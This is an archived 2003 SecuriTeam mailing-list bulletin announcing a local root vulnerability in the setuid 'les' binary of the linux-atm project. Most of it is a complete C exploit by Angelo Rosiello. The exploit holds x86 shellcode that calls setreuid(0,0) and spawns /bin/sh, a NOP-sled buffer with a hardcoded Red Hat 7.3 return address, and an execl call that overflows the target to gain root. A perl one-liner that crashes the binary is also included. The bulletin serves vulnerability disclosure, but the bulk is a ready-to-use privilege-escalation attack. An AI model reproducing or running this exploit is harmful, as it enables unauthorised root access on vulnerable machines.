[EXPL] ATM on Linux Exploit Code Release (les, local)

support_at_securiteam.com
Date: 04/26/03

  • Next message: support_at_securiteam.com: "[NEWS] Remote Buffer Overflow Vulnerability in Web Management Interface of Cisco Secure ACS"
    To: list@securiteam.com
    Date: 26 Apr 2003 20:22:56 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      ATM on Linux Exploit Code Release (les, local)
    ------------------------------------------------------------------------

    SUMMARY

     <http://linux-atm.sourceforge.net/> ATM support for Linux is currently in
    pre-alpha stage. There is an experimental release, which supports raw ATM
    connections (PVCs and SVCs), IP over ATM, LAN emulation, MPOA, Arequipa,
    and some other goodies.

    A vulnerability in the product allows local attackers to cause it to
    execute arbitrary code, as it setuid root, a local attacker can gain
    elevated privileges.

    DETAILS

    Exploit:
    /*
    *** Exploit against the linux-atm project
    ***
    *** http://sourceforge.net/projects/linux-atm
    ***************************************************************
    *** VULNERABILITY
    ***
    *** Stack Overflow discovered by Angelo Rosiello
    *** /usr/local/sbin/les -f `perl -e 'print "A"x252'`
    *** Program received signal SIGSEGV, Segmentation fault.
    *** 0x41414141 in ?? ()
    ****************************************************************
    *** AUTHOR: Angelo Rosiello
    *** CONTACT: angelo@dtors.net, rosiello.angelo@virgilio.it
    *** guilecool@usa.com
    ***
    *** Copyright (c) 2003 DTORS Security
    *** All rights reserved.
    *** http://dtors.net
    ***
    *** SHELLCODE by esDee
    ***
    *** 18/02/2003
    ***
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #define NOP 0x90 // No operation instruction
    #define LEN 252 // Our buffer size

    void usage();

    static char shellcode[] =

            // setreuid(0,0);
            "\x31\xc0" // xor %eax,%eax
            "\x31\xdb" // xor %ebx,%ebx
            "\x31\xc9" // xor %ecx,%ecx
            "\xb0\x46" // mov $0x46,%al
            "\xcd\x80" // int $0x80

            // execve /bin/sh
            "\x31\xc0" // xor %eax,%eax
            "\x50" // push %eax
            "\x68\x2f\x2f\x73\x68" // push $0x68732f2f
            "\x68\x2f\x62\x69\x6e" // push $0x6e69622f
            "\x89\xe3" // mov %esp,%ebx
            "\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
            "\x50" // push %eax
            "\x53" // push %ebx
            "\x8d\x0c\x24" // lea (%esp,1),%ecx
            "\xb0\x0b" // mov $0xb,%al
            "\xcd\x80" // int $0x80

            // exit();
            "\x31\xc0" // xor %eax,%eax
            "\xb0\x01" // mov $0x1,%al
            "\xcd\x80"; // int $0x80

    struct
    {
      int number;
      char *version;
      long ret;
      char path[256];
    } target[] =
    {
      {1," Red Hat Linux release 7.3 (Valhalla)", 0xbffff860,
    "/usr/local/sbin/les"},
      {2," No defined", 0xffffffff , "/usr/local/sbin/les"},
    };

    main(int argc, char *argv[])
    {
            char buffer[LEN];
            int i;
            long ret;
            char *PATH;
            int selection;
            if(argc == 1)
            {
                    usage((char **)argv[0]);
                    exit(1);
            }
            selection = atoi(argv[2]);

            printf("Ret = 0x%lx and PATH= %s\n", target[selection-1].ret,
    (char **)target[selection-1].path);
            printf("\nCopyright (c) 2003 DTORS Security\n");
            printf("ANGELO ROSIELLO 18/02/2003\n");
            printf("\tLES-EXPLOIT for Linux x86\n\n");

            ret = target[selection-1].ret;
            PATH = target[selection-1].path;
            // Build the overflow string.
            for (i = 0; i < LEN; i += 4) *(long *) &buffer[i] = ret;

            // copy NOP
            for (i=0; i<(LEN-strlen(shellcode)-25);i++) *(buffer+i) = NOP;

            // Copy the shellcode into the buffer.
            memcpy(buffer+i,shellcode,strlen(shellcode));

            // Execute the program
            execl(PATH, "les", "-f", buffer, NULL);
    }

    void usage(char *argv[])
    {
            int i = 0;
            printf("\nUsage:\n%s -t [target number]\n\nTargets\n",*(char
    **)&argv);
            while(target[i].number)
            {
                    printf("[%d] %s \n", target[i].number, target[i].version);
                    i++;
            }
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:angelo@dtors.net> Angelo
    Rosiello.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: support_at_securiteam.com: "[NEWS] Remote Buffer Overflow Vulnerability in Web Management Interface of Cisco Secure ACS"

    Relevant Pages

    • Citibank ATM breach reveals PIN security problems
      ... ATM breach highlights security problems with the most sensitive part of a banking record ... -- Hackers broke into Citibank's network of ATMs inside 7-Eleven stores and stole customers' PIN codes, according to recent court filings that revealed a disturbing security hole in the most sensitive part of a banking record. ... it indicates criminals were able to access PINs -- the numeric passwords that theoretically are among the most closely guarded elements of banking transactions -- by attacking the back-end computers responsible for approving the cash withdrawals. ...
      (soc.retirement)
    • Citibank ATM breach reveals PIN security problems
      ... ATM breach highlights security problems with the most sensitive part of a banking record ... -- Hackers broke into Citibank's network of ATMs inside 7-Eleven stores and stole customers' PIN codes, according to recent court filings that revealed a disturbing security hole in the most sensitive part of a banking record. ... it indicates criminals were able to access PINs -- the numeric passwords that theoretically are among the most closely guarded elements of banking transactions -- by attacking the back-end computers responsible for approving the cash withdrawals. ...
      (soc.senior.issues)
    • Re: Why I now hate MS-Windows, and ATM machines
      ... Hm, 10,000 combinations on a handheld computer - how long would that ... No, I agree, you couldn't do it at the ATM without ... The concern is easier ID theft given MS history of security ... generator and swiper? ...
      (alt.os.linux)
    • SecurityFocus Microsoft Newsletter #165
      ... Tenable Security ... distribute, manage, and communicate vulnerability and intrusion detection ... Microsoft Internet Explorer MHTML Forced File Execution Vuln... ...
      (Focus-Microsoft)
    • SecurityFocus Microsoft Newsletter #174
      ... This issue sponsored by: Tenable Network Security ... the worlds only 100% passive vulnerability ... MICROSOFT VULNERABILITY SUMMARY ... Novell Netware Enterprise Web Server Multiple Vulnerabilitie... ...
      (Focus-Microsoft)